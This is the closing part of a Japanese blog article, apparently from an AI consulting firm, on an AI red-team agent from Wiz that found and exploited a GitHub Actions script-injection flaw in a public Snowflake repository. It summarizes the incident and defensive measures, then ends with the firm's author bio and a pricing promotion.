Wiz Red Agentは2026年7月29日に一般提供が始まった商用製品で、Wizとの契約が前提です。ただ、今回示されたのは「最先端のモデルが自力で脆弱性を見つけて悪用できる」ことで、同じ能力が攻撃者の手にも渡る前提で備える必要があります。

Q. 脆弱性が入ってから見つかるまで、どのくらいの猶予を見込めばよいですか?

今回は5日でした。公開リポジトリについては「修正まで数週間あれば間に合う」という前提はもう成り立たないと考えたほうが安全です。

まとめ

  • Snowflakeの公開リポジトリのGitHub Actionsに、Issueのタイトル経由で任意のコマンドを実行できるスクリプトインジェクションが5日間あった
  • Wizの自律型攻撃AI「Red Agent」が人の手を借りずに見つけて悪用し、社内Jiraの認証情報を取得。実際にJiraを読めることまで確かめた
  • 「Copilotが脆弱性を作った」証拠はなく、Copilotがレビューに関わったかもWizとGitHubで説明が食い違う。確かなのは、GitHub Advanced Securityのスキャンが指摘しなかったこと(Wizの説明)
  • 今回の形はCodeQLの既定スイートで本来検出できるパターン。指摘されなかった理由は公表されていない
  • 顧客データの流出はなく、実際の攻撃者による悪用も確認されていない。CVEは2026年11月時点でも未採番
  • その後、CodeQL 2.26.4で同じ形の if: ガードの判定が直り、ワークフロー実行保護がGAになった。pull_request_target の既定ブロックは12月2日から強制されるが、issues イベントは対象外
  • 対策は、環境変数を経由させる書き方への修正、zizmor・actionlint・CodeQLの必須チェック化(無料)、Policiesで入口を絞ること、シークレットの最小権限化と短命化、.github/ の変更への人のレビュー必須化

AIコーディング支援を使うこと自体は問題ではありません。AIレビューの「問題なし」を最終承認の根拠にせず、既知の危険パターンはルールで止めることが、この事案から得られる一番実務的な教訓です。

関連する記事もあわせて参考にしてください。

主な参照元:Wiz Blog「Red Agent Exploits Snowflake Vuln Missed by Github Copilot」、Wiz Red Agent GA告知、GitHub Docs「Responsible use of Copilot Autofix for code scanning」、GitHub Docs「CodeQL queries for GitHub Actions」、GitHub Changelog「CodeQL 2.26.4」、GitHub Changelog「Workflow execution protections GA」、GitHub Security Plans、The Next Web、Veracode「Fall 2026 GenAI Code Security」、@IT

このツールを自社のシステムや業務にどう組み込むか、ご提案します

この記事の著者

AI革命

AI革命

編集部

AI革命株式会社の編集部です。最新のAI技術動向から実践的な導入事例まで、企業のデジタル変革に役立つ情報をお届けしています。豊富な経験と専門知識を活かし、読者の皆様にとって価値のあるコンテンツを制作しています。

AI・システム開発は、開始価格を公開しています

既存システムの改修 100万円〜・PoC 300万円〜(税別)。相談内容を送っていただくと、2営業日以内に担当者からご返信します